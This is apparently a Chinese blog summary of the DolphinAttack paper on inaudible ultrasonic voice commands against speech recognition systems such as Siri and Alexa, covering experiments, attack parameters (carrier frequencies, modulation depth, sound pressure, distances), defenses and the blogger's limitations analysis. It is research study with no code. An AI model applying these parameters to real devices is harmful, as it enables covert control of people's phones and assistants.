<p > 设定: 除非受到设备尺寸的限制, 否则我们会将选定的设备放在台式攻击设备前面, 并且桌子上的距离各不相同, 并且设备麦克风朝向扬声器。将设备和扬声器都升高到相同的高度( 即在桌子上方10厘米) , 以避免机械耦合。除带有汽车的测试外, 所有实验均在我们的实验室中进行, 平均背景噪声为55 dB SPL( 声压级) , 并且我们确认在测试频段( 20 kHz – 50 kHz) 中没有干扰声。我们通过功能强大的发射器播放听不见的语音命令, 并在设备屏幕或设备声学响应中观察结果。通常, 设备上安装了多个麦克风以拾取来自各个方向的声音。通常所有麦克风都用于语音识别。在我们的实验中, 我们专门测试了显示最佳解调效果的设备。</p>
<p > 语音命令: 针对两种类型的攻击(激活和识别)准备了两种语音命令。 对于那些支持语音激活的系统,我们尝试使用听不见的唤醒单词命令激活它们。 要检查语音识别系统是否可以正确识别听不见的语音命令, 我们选择了一些可以理解的英语命令, 如Tab 2中所示。 由于所有设备均不支持任何命令,因此我们准备了一组命令来覆盖所有设备。 对于每个命令, 我们尝试两种音频来源: 来自TTS引擎的合成声音, 以及作者所说的真实人类声音。</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_35.png" a l t > <br > 声压级:尽管为攻击而产生的声音是人类无法听到的,但是我们仍然使用自由场测量麦克风[50]以分贝为单位测量声压级( SPL) 。 在距Vifa [9]扬声器10 cm处测量的超声接收声压级为125 dB。</p>
<p > 攻击: 在识别攻击中, SR系统是事先手动激活的。 在激活攻击中,不允许与设备进行物理交互。 仅当从SR系统识别的文本与攻击命令完全匹配时, 才认为攻击成功, 并且仅记录距离。</p>
<p > 调制参数: 我们认为调制参数可能会影响攻击性能。 我们考虑幅度调制中的两个因素: 载波频率fc和调制深度。 为了量化其影响, 我们使用Google TTS引擎作为基带音频源, 将设备放置在距宽带超声扬声器Vifa [9] 10 cm处, 并测量三个值: ( a) fc range-载波范围 成功进行识别攻击且100% 准确的频率。 ( b) 素数fc - 解调后展现最高基带4幅度的fc。 ( c) AM深度—成功进行识别攻击且100% 准确时, 在原始fc处的调制深度。</p>
<h3 id= "5-3-可行性结果" > <a href= "#5-3-可行性结果" class= "headerlink" title= "5.3 可行性结果" > </a> 5.3 可行性结果</h3> <p > Tab. 3总结实验结果。 从Tab. 3所示, 我们可以得出结论, DolphinAttack可与几乎所有经过检查的SR系统和设备一起使用。 特别是, SR系统可以在所有经过测试的硬件上正确解释听不到的语音命令, 并且在需要激活的所有VCS上都可以成功激活。 但是,结果确实表明,设备和系统需要各种参数才能实现相同的攻击效果。 我们讨论以下结果:<br > <strong > 硬件依赖性:</strong> DolphinAttack的基本原理是在数字化组件之前注入听不见的语音命令。 因此, DolphinAttack的可行性在很大程度上取决于音频硬件, 而不是语音识别系统。 例如, 运行Siri的同一制造商的各种设备在攻击成功率, 最大攻击距离和调制参数方面显示出很大的差异。 这是因为各种型号采用不同的硬件( 例如, 麦克风, 放大器, 滤波器) , 这导致输入到相同SR系统的数字化音频发生变化。 我们在两个相同设备( iPhone SE) 上的实验显示出相似的攻击参数和结果。 因此,攻击者事先研究硬件以获得令人满意的攻击结果是可行的。<br > <strong > SR系统依赖性: </strong> 我们发现, 各种SR系统可能会以不同方式处理相同的音频。 我们在运行iPhone SE的Google Chrome中测试了语音搜索。 表3中的结果表明, Google Chrome的fc范围与Siri实验中的fc范围重叠, 这表明我们的攻击取决于硬件。 但是, fc, AM深度和识别距离的差异是由SR系统引起的<br > <strong > 识别与激活:</strong> 根据攻击距离, 各种设备和SR系统对识别和激活攻击的反应可能不同。 对于某些设备( 8个设备) , 可以比识别攻击更大的距离实现激活攻击, 而对于其他设备( 6个设备) , 成功激活攻击的有效范围要比识别攻击小。 此外,我们观察到,对于许多设备而言,在控制命令之前附加激活命令(例如“ Hey Siri”) 可能会增加正确识别的可能性, 这可能是因为SR系统专门对激活命令进行了训练, 使之成为可能。 在常开模式下识别。<br > <strong > 命令很重要:</strong> 语音命令的长度和内容会影响成功率和最大攻击距离。 在实验中,我们严格要求要求正确识别命令中的每个单词,尽管某些命令可能不需要这样做。 例如,“呼叫/ FaceTime 1234567890”和“打开dolphinattack.com”比“打开飞机模式”或“今天的天气如何”更难被识别。 在前一种情况下,必须正确识别执行字“ call”, “ open”和内容( 数字, url) 。 但是,对于后一种情况,仅识别诸如“飞机”和“天气”之类的关键字就足以执行原始命令。 如果攻击命令简短且对于SR系统通用, 则可以提高攻击性能。<br > <strong > 载波频率:</strong> fc是影响攻击成功率的主要因素, 并且在各个设备之间也显示出很大的差异。对于某些设备, 成功进行识别攻击的fc范围可以宽至20-42 kHz( 例如iPhone 4s) , 也可以窄至几个单个频率点( 例如iPhone 5s) 。我们将这种多样性归因于这些麦克风的频率响应和频率选择性的差异以及音频处理电路的非线性。例如, Nexus 7的fc范围是从24到39 kHz, 这可以从两个方面进行解释。 fc不高于39 kHz, 因为Vifa扬声器在39 kHz以上的频率响应较低, 而Nexus 7麦克风之一也较低。因此, 结合起来, 高于39 kHz的载波不再足够有效以注入听不见的语音命令。由于麦克风频率响应的非线性, fc不能小于24 kHz。我们观察到, 当基带谐波的幅度大于基带之一时, 无法听到的语音命令对于SR系统变得不可接受。例如, 在给定400 Hz音调的基带的情况下, 我们测量Nexus 7上的解调信号( 即400 Hz基带) , 并观察800 Hz( 2次谐波) , 1200 Hz( 3次谐波) 甚至更高的谐波<E8B090>
<h3 id= "5-4-小结" > <a href= "#5-4-小结" class= "headerlink" title= "5.4 小结" > </a> 5.4 小结</h3> <p > 我们将实验总结如下。 ( 1) 我们验证了跨越16种不同设备和7种语音识别系统的识别和激活攻击, 并在几乎所有设备上均获得了成功。 ( 2) 我们测量了所有设备的攻击性能, 其中一些设备足以应付日常情况下的实际攻击。 例如, 我们可以在距离iPhone 2s和Amazon Echo约2米的地方启动DolphinAttack。 ( 3) 我们测量, 检查并讨论了与攻击性能有关的参数, 包括SR系统, 设备硬件, 语音命令, fc, AM深度等。</p>
<h2 id= "6-影响定量" > <a href= "#6-影响定量" class= "headerlink" title= "6 影响定量" > </a> 6 影响定量</h2> <p > 在本节中, 我们将使用功能强大的发射器( 即, 图5中所示的台式机设置) , 根据语言, 背景噪声, 声压级和攻击距离评估DolphinAttack的性能。 此外,我们评估了使用便携式设备进行的漫游攻击的有效性。</p>
<h3 id= "6-1-语言的影响" > <a href= "#6-1-语言的影响" class= "headerlink" title= "6.1 语言的影响" > </a> 6.1 语言的影响</h3> <p > 为了检查DolphinAttack在语言方面的有效性, 我们选择了五种语言中的三个语音命令。语音命令包括激活命令( “ Hey Siri”) 和两个控制命令( “ Call 1234567890”和“ Turn onplane mode”) , 代表针对SR系统的三种攻击: 激活SR系统, 启动对用户的监视, 和拒绝服务攻击。每个语音命令分别以英语, 中文, 德语, 法语和西班牙语进行测试。我们针对与运行iOS 10.3.1的iPhone 6 Plus配对的Apple Watch推出DolphinAttack。对于每种语言的每种语音命令, 我们将其重复10次并计算平均成功率。距离设置为20 cm, 测得的背景噪声为55 dB。我们利用25 kHz载波频率和100% AM深度。图14示出了给定语言的三个语音命令的识别结果。我们可以看到, 各种语言和语音命令的识别率几乎相同。特别地, 英语和西班牙语中所有语音命令的识别率均为100% , 并且三种语音命令在所有语言中的平均识别率分别为100% , 96% 和98% 。此外, 用于激活的识别率( 即, “嘿Siri”) 高于控制命令“呼叫1234567890”和“打开飞机模式”之一。这是因为激活命令的长度比控制命令的长度短。无论如何, 结果表明我们的方法对于各种语言和语音命令都是有效的。</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_38.png" a l t > </p>
<h3 id= "6-2-背景噪声的影响" > <a href= "#6-2-背景噪声的影响" class= "headerlink" title= "6.2 背景噪声的影响" > </a> 6.2 背景噪声的影响</h3> <p > 众所周知, 语音识别对背景噪声敏感, 建议在安静的环境中使用。因此, 我们在以下三种情况下检查了通过DolphinAttack发出的听不见的语音命令注入: 在办公室, 咖啡馆, 在街上。为确保实验可重复, 我们通过以选定的SPL播放背景声音来模拟这三种情况, 并评估它们对识别率的影响。我们选择Apple Watch作为攻击目标, 并通过迷你声级计测量背景噪音。从表4可以看出, 激活命令的识别率在所有三个场景中均超过90% , 而控制命令( “飞机飞行模式”) 的识别率则随着环境噪声水平的提高而降低。这是因为激活命令比控制命令短。随着控制命令的单词数增加, 由于无法识别任何单词可能导致命令识别失败, 因此识别率迅速下降。</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_39.png" a l t > </p>
<h3 id= "6-3-声压级的影响" > <a href= "#6-3-声压级的影响" class= "headerlink" title= "6.3 声压级的影响" > </a> 6.3 声压级的影响</h3> <p > 对于可听和不可听的声音, 较高的SPL会导致录制的语音质量更高, 从而识别率也更高。这是因为对于给定的噪声水平, 较高的SPL始终意味着较大的信噪比( SNR) 。为了探索SPL对DolphinAttack的影响, 我们在Apple Watch和Galaxy S6 Edge智能手机上测试了控制命令( “ Call 1234567890”) 。在所有实验中, 将扬声器放置在距目标设备10厘米的位置, 并将迷你声级计放置在扬声器旁边以测量环境噪声。我们用两种粒度来量化SPL的影响: 句子识别率和单词识别率。句子识别率计算成功识别的命令的百分比。只有正确识别了命令中的每个单词, 才认为命令已被识别。单词识别率是正确解释的单词的百分比。例如, 如果命令“ call 1234567890”被识别为“ call 1234567”, 则单词识别率为63.6% ( 7/11) 。图15( a) ( b) 显示了SPL对两种识别率的影响。毫不奇怪, 给定相同的SPL, 单词识别率始终大于句子识别率, 直到两者都达到100% 。对于Apple Watch, 一旦SPL大于106.2 dB, 两种识别率都将变为100% 。相比之下, Galaxy S6 Edge达到100% 识别率的最低SPL为113.96 dB, 高于Apple Watch的最低声压级。这是因为在解调听不见的语音命令方面, Apple Watch胜过Galaxy S6 Edge。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_40.png" a l t > </p>
<h3 id= "6-4-攻击距离的影响" > <a href= "#6-4-攻击距离的影响" class= "headerlink" title= "6.4 攻击距离的影响" > </a> 6.4 攻击距离的影响</h3> <p > 在本节中,将使用激活命令(“ Hey Siri”或“ Hi Galaxy”) 和控制命令( “ Call 1234567890”) 来测试各种距离下的识别率。 我们评估了Apple Watch和Galaxy S6 Edge上两个命令的识别率, 并在图16中进行了描述。通常, 激活命令的识别率高于控制命令的识别率, 因为激活 该命令包含的单词数少于控制命令。 可以在100厘米远的地方以100% 的成功率激活Apple Watch, 从25厘米处以100% 的成功率激活Galaxy S6 Edge。 我们认为, 这两种设备之间的差异是因为Apple Watch戴在手腕上, 并且可以接受比智能手机更长的语音命令。</p>
<h3 id= "6-5-便携式设备攻击评估" > <a href= "#6-5-便携式设备攻击评估" class= "headerlink" title= "6.5 便携式设备攻击评估" > </a> 6.5 便携式设备攻击评估</h3> <p > 在本节中, 我们评估便携式设备攻击的有效性。设定。我们将运行Android 6.0.1的Galaxy S6 Edge智能手机用作攻击设备, 将Apple Watch作为受害者设备, 并将其与iPhone 6 Plus配对使用。攻击声音命令是“打开飞行模式”。我们将fc分别设置为{20、21、22、23、24} kHz。 AM深度为100% , 采样率为192 kHz。基带信号的最大频率为3 kHz。结果, 如表5所示, 我们成功地在Apple Watch上以23 kHz载波频率“开启了飞行模式”。请注意, 20 kHz和21 kHz也成功。但是, 频率泄漏低于20 kHz, 听起来像, 可以听到。单词和句子的识别率是100% 。随着fc的增加, 由于扬声器的频率选择性, Apple Watch无法识别语音命令。为了扩展攻击距离, 我们利用低功率音频放大器( 3瓦) 模块来驱动超声换能器, 如图11所示。使用放大器模块, 有效攻击的最大距离增加到27厘米。请注意, 使用专业设备和功能更强大的放大器可以进一步扩大攻击距离。攻击者可以使用受害者的设备发起远程攻击。例如, 对手可以上传音频或视频剪辑, 其中语音命令嵌入在网站中, 例如YouTube。当受害者的设备播放音频或视频时, 可能会无意识地触发周围的语音可控系统, 例如Google Home Assistant, Alexa和手机。</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_41.png" a l t > </p>
<h2 id= "7-防御" > <a href= "#7-防御" class= "headerlink" title= "7 防御" > </a> 7 防御</h2> <p > 在本节中,我们将从硬件和软件角度讨论针对上述攻击的防御策略。</p>
<h3 id= "7-1-基于硬件的防御" > <a href= "#7-1-基于硬件的防御" class= "headerlink" title= "7.1 基于硬件的防御" > </a> 7.1 基于硬件的防御</h3> <p > 我们提出了两种基于硬件的防御策略:麦克风增强和基带消除。</p>
<ul >
<li > 麦克风增强: 语音命令听不到的根本原因是, 麦克风可以感应到高于20 kHz的频率的声音, 而理想的麦克风则不能。默认情况下, 当今移动设备上的大多数MEMS麦克风都允许20 kHz以上的信号[2、3、29、52、53]。因此, 应增强麦克风并设计其抑制任何频率在超声范围内的声音信号。例如, iPhone 6 Plus的麦克风可以很好地抵抗听不见的语音命令。</li>
<li > 语音命令取消听不见。在使用传统麦克风的情况下, 我们可以在LPF之前添加一个模块, 以检测调制后的语音命令并使用调制后的语音命令取消基带。特别是, 我们可以检测到具有AM调制特性的超声频率范围内的信号, 并对信号进行解调以获得基带。例如, 在存在不可听见的语音命令注入的情况下, 除了已解调的基带信号m( t) 之外, 记录的模拟语音信号还应包括原始调制信号: v( t) = Am( t) cos( 2πfc t) + cos( 2πfc t) , 其中A是输入信号m( t) 的增益。通过下变频v( t) 以获得Am( t) 并调整幅度, 我们可以减去基带信号。请注意, 这样的命令取消过程不会影响麦克风的正常操作, 因为捕获的可听语音信号与超声范围内的噪声之间将不存在相关性。</li>
</ul>
<h3 id= "7-2-基于软件的防御" > <a href= "#7-2-基于软件的防御" class= "headerlink" title= "7.2 基于软件的防御" > </a> 7.2 基于软件的防御</h3> <p > 基于软件的防御研究调制语音命令的独特功能, 这些功能与真正的语音命令不同。如图17所示, 恢复的( 解调的) 攻击信号在500到1000Hz的高频范围内显示出与原始信号和记录信号的差异。原始信号由Google TTS引擎产生, 调制的载波频率为25 kHz。因此, 我们可以通过分析500至1000 Hz频率范围内的信号来检测DolphinAttack。特别是, 基于机器学习的分类器将对其进行检测。为了验证检测DolphinAttack的可行性, 我们利用支持的矢量机( SVM) 作为分类器, 并从音频中提取了时域和频域中的15个特征。我们生成了12种语音命令( 即“ Hey Siri”) : NeoSpeech TTS引擎提供了8种语音, Selvy TTS引擎提供了4种语音。对于每种类型, 我们获得了两个样本: 一个被记录, 另一个被恢复。总共有24个样本。为了训练SVM分类器, 我们使用5个录制的音频作为正样本, 并使用5个恢复的音频作为负样本。其余14个样本用于测试。分类器可以以100% 真实肯定率( 7/7) 和100% 真实否定率( 7/7) 区分恢复的音频和录制的音频。使用简单SVM分类器的结果表明可以使用基于软件的防御策略来检测DolphinAttack。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_42.png" a l t > </p>
<h2 id= "8-相关工作" > <a href= "#8-相关工作" class= "headerlink" title= "8 相关工作" > </a> 8 相关工作</h2> <ul >
<li > 语音可控系统的安全性。越来越多的研究工作投入于研究语音可控系统的安全性[10、18、28、38、61]。 Kasmi等。 [28]通过在耳机电缆上施加有意的电磁干扰,对现代智能手机引入了语音命令注入攻击,而在本文中,我们通过利用超声波上的麦克风非线性来注入语音命令。 Mukhopadhyay等。 [38]展示了对最先进的自动说话人验证算法的语音模仿攻击。他们根据受害者的样本建立了受害者声音的模型。 [18]设计了一种权限绕过来自零许可Android应用程序通过电话扬声器的攻击。隐藏的语音命令和Cocaine noodles[10, 61]使用可听和扭曲的音频命令来攻击语音识别系统。在这些攻击下,受害者有时可以观察到混淆的语音命令。 DolphinAttack受这些攻击的动机, 但是完全听不见且听不到, 我们展示了可以使用便携式设备启动DolphinAttack</li>
<li > 配备传感器的设备的安全性。配备有各种传感器的商业设备(例如,智能手机,可穿戴设备和平板电脑)正在逐渐普及。随着无处不在的移动设备的增长趋势,安全性成为人们关注的焦点。许多研究人员[14、15、46、60]专注于研究对智能设备上的传感器的可能攻击。其中,传感器欺骗(即,将恶意信号注入受害者传感器)引起了广泛关注,并被认为是对配备传感器的设备的最严重威胁之一。 Shin等。将传感器欺骗攻击[46]分为三类:常规信道攻击(重放攻击)[19、26、66],传输信道攻击和侧信道攻击[11、14、15、47、49]。 Dean等。 [14, 15]证明, 当声频分量接近陀螺仪传感质量的共振频率时, MEMS陀螺仪容易受到大功率高频声噪声的影响。利用机载传感器, Gu等。 [24]设计了一种使用振动马达和加速度计的加密密钥生成机制。我们的工作重点是麦克风,可以将其视为一种传感器。</li>
<li > 通过传感器泄露隐私。 Michalevsky等。 [36]利用MEMS陀螺仪来测量声学信号, 从而揭示扬声器信息。 Schlegel等。 [44]设计了一种木马程序,可以从智能手机的音频传感器中提取高价值数据。 Owusu等。 [40]利用加速度计的读数作为副通道,在智能手机触摸屏键盘上提取输入文本的整个序列,而无需特殊的特权。 Aviv等。 [6]证明了加速度传感器可以揭示用户的点击和基于手势的输入。 Dey等。 [17]研究了如何利用车载加速度计的缺陷对智能手机进行指纹识别,并且指纹可以用作识别智能手机所有者的标识符。西蒙等。 [48]利用摄像机和麦克风来推断在智能手机的仅数字软键盘上输入的PIN。 Li等。文献[33]可以根据照片中的阴影和相机的传感器读数,通过估计太阳位置来验证照片的捕获时间和位置。 Sun等。 [55]提出了一个视频辅助按键推论框架,以从平板电脑动作的秘密视频记录中推断出平板电脑用户的输入。 Backes等。 [7]显示,可以根据打印机的声音恢复处理英语的点阵打印机正在打印的内容。同样,我们研究了如何利用麦克风漏洞来破坏安全和隐私。罗伊等。 [42]提出了BackDoor, 它在超声频带上的两个扬声器和麦克风之间建立了一个声音( 但听不见) 通信通道。特别是, BackDoor利用两个超声波扬声器传输两个频率。通过麦克风的非线性振膜和功率放大器后, 这两个信号在可听频率范围内产生一个“阴影”, 可以携带数据。但是, “阴影”是单一音调, 而不是由丰富音调集组成的语音命令。相比之下, 我们表明可以使用一个扬声器向SR系统注入听不见的命令, 从而引起各种安全和隐私问题。</li>
</ul>
<h2 id= "9-海豚攻击”的局限性分析" > <a href= "#9-海豚攻击”的局限性分析" class= "headerlink" title= "9 海豚攻击”的局限性分析" > </a> 9 海豚攻击”的局限性分析</h2> <p > 上面谈到了“海豚攻击”实现的基本原理。但是经过我们的分析,这种“漏洞”虽然理论上存在风险,但是实现代价较大,且整体可行性较低,大家不必过于恐惧。下面我们再来分析一下它能实现的效果的局限性:</p>
<p > 局限性1: 测试设备发射要求高,不易隐藏作案。<br > 首先, 该系统需要一个大功率且大尺寸的信号发生器来生成高质量的超声信号; 同时, 目前的普通麦克风对20KHz以上的信号频响衰减非常大, 这就要求超声信号的发射功率有相当大的发射功率。<br > 这篇文章中使用的超声发射器可以支持到300MHz的频率范围, 超声播放的声压级达到了125dBL, 这种情况下普通的简化装置的放大器和喇叭是实现不了的。</p>
<p > 局限性2: 攻击距离很短,智能家居产品不受影响。<br > 同样是由于目前普通麦克风对20KHz以上的信号频响衰减非常大, 在声压级是125dBL的播放的超声信号下( 这个音量已经需要非常专业播放设备了) , 实验的最远冲击距离只有1.75m, 对于大部分设备超过0.5m就没有响应了,再加上超声信号没有穿墙能力,因此对于放在家中的智能硬件设备是没有任何影响的。对于携带到公共场所的手机和可穿戴设备则有一定的“风险”。</p>
<p > 局限性3: 攻击语音质量很低,效果和单个硬件相关。<br > 如前面我们的分析, 由于解调后的信号毕竟是经过低通滤波器, 导致各频带都是有不同程度衰减的, 且大部分ADC都有抗混叠滤波, 因此最终设备端解调进来的Baseband信号失真很严重, 信噪比也不会很高。<br > 攻击效果也跟硬件本身相关, 比如麦克风型号、低通滤波器的实现方式和效果、ADC抗混叠效果和采样频率都是相关的。想要达到好的效果必须根据实际的硬件来调节载波频率, 信号强度等参数, 这对于公共场所游走作案, 且不知道被攻击者使用的什么设备的情况下是比较难以实现的。</p>
<h2 id= "10-结论" > <a href= "#10-结论" class= "headerlink" title= "10 结论" > </a> 10 结论</h2> <p > 在本文中, 我们提出了DolphinAttack, 这是对SR系统的听不见的攻击。 DolphinAttack利用AM( 振幅调制) 技术来调制超声载波上的可听语音命令, 从而使人无法感知命令信号。攻击者可以使用DolphinAttack攻击主要的SR系统, 包括Siri, Google Now, Alexa等。为避免实际滥用DolphinAttack, 我们从硬件和软件两个方面提出了两种防御解决方案。</p>
]]></content>
2021-04-10 13:53:56 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 顶会论文</category>
2021-04-10 13:53:56 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 硬件攻击</tag>
<tag > 传感器</tag>
<tag > 语音助手</tag>
</tags>
</entry>
2019-04-15 07:42:42 +00:00
</search>